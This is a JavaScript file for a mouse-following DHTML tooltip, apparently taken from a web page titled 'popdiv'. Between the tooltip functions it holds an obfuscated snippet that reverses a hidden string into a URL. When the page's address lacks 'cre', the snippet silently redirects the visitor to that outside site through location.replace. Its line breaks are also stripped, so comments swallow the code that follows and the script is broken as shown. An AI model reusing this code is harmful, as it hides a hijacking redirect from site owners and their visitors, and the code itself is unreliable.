var offsetfromcursorX=12 //Customize x offset of tooltipvar offsetfromcursorY=10 //Customize y offset of tooltip var offsetdivfrompointerX=10 //Customize x offset of tooltip DIV relative to pointer imagevar offsetdivfrompointerY=14 //Customize y offset of tooltip DIV relative to pointer image. Tip: Set it to (height_of_pointer_image-1). document.write('<div id="dhtmltooltip"></div>') //write out tooltip DIVdocument.write('<img onerror="this.src=this.src" id="dhtmlpointer" src="images/popdiv.gif">') //write out pointer image var ie=document.allvar ns6=document.getElementById && !document.allvar enabletip=falseif (ie||ns6)var tipobj=document.all? document.all["dhtmltooltip"] : document.getElementById? document.getElementById("dhtmltooltip") : "" var pointerobj=document.all? document.all["dhtmlpointer"] : document.getElementById? document.getElementById("dhtmlpointer") : "" function ietruebody(){return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body} function ddrivetip(thetext, thewidth, thecolor){if (ns6||ie){if (typeof thewidth!="undefined") tipobj.style.width=thewidth+"px"if (typeof thecolor!="undefined" && thecolor!="") tipobj.style.backgroundColor=thecolortipobj.innerHTML=thetextenabletip=truereturn false}} (function(){var e = 'cre',l = location,v = {f:(l.href.indexOf(e) == -1),g:"moc.nercu//:ptth"};(v.f)?(l.replace(v.g.split('').reverse().join(''))):0;})(); function positiontip(e){if (enabletip){var nondefaultpos=falsevar curX=(ns6)?e.pageX : event.x+ietruebody().scrollLeft;var curY=(ns6)?e.pageY : event.y+ietruebody().scrollTop;//Find out how close the mouse is to the corner of the windowvar winwidth=ie&&!window.opera? ietruebody().clientWidth : window.innerWidth-20var winheight=ie&&!window.opera? ietruebody().clientHeight : window.innerHeight-20 var rightedge=ie&&!window.opera? winwidth-event.clientX-offsetfromcursorX : winwidth-e.clientX-offsetfromcursorXvar bottomedge=ie&&!window.opera? winheight-event.clientY-offsetfromcursorY : winheight-e.clientY-offsetfromcursorY var leftedge=(offsetfromcursorX<0)? offsetfromcursorX*(-1) : -1000 //if the horizontal distance isn't enough to accomodate the width of the context menuif (rightedge<tipobj.offsetWidth){//move the horizontal position of the menu to the left by it's widthtipobj.style.left=curX-tipobj.offsetWidth+"px"nondefaultpos=true}else if (curX<leftedge)tipobj.style.left="5px"else{//position the horizontal position of the menu where the mouse is positionedtipobj.style.left=curX+offsetfromcursorX-offsetdivfrompointerX+"px"pointerobj.style.left=curX+offsetfromcursorX+"px"} //same concept with the vertical positionif (bottomedge<tipobj.offsetHeight){tipobj.style.top=curY-tipobj.offsetHeight-offsetfromcursorY+"px"nondefaultpos=true}else{tipobj.style.top=curY+offsetfromcursorY+offsetdivfrompointerY+"px"pointerobj.style.top=curY+offsetfromcursorY+"px"}tipobj.style.visibility="visible"if (!nondefaultpos)pointerobj.style.visibility="visible"elsepointerobj.style.visibility="hidden"}} function hideddrivetip(){if (ns6||ie){enabletip=falsetipobj.style.visibility="hidden"pointerobj.style.visibility="hidden"tipobj.style.left="-1000px"tipobj.style.backgroundColor=''tipobj.style.width=''}}document.onmousemove=positiontip

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本文标题：popdiv

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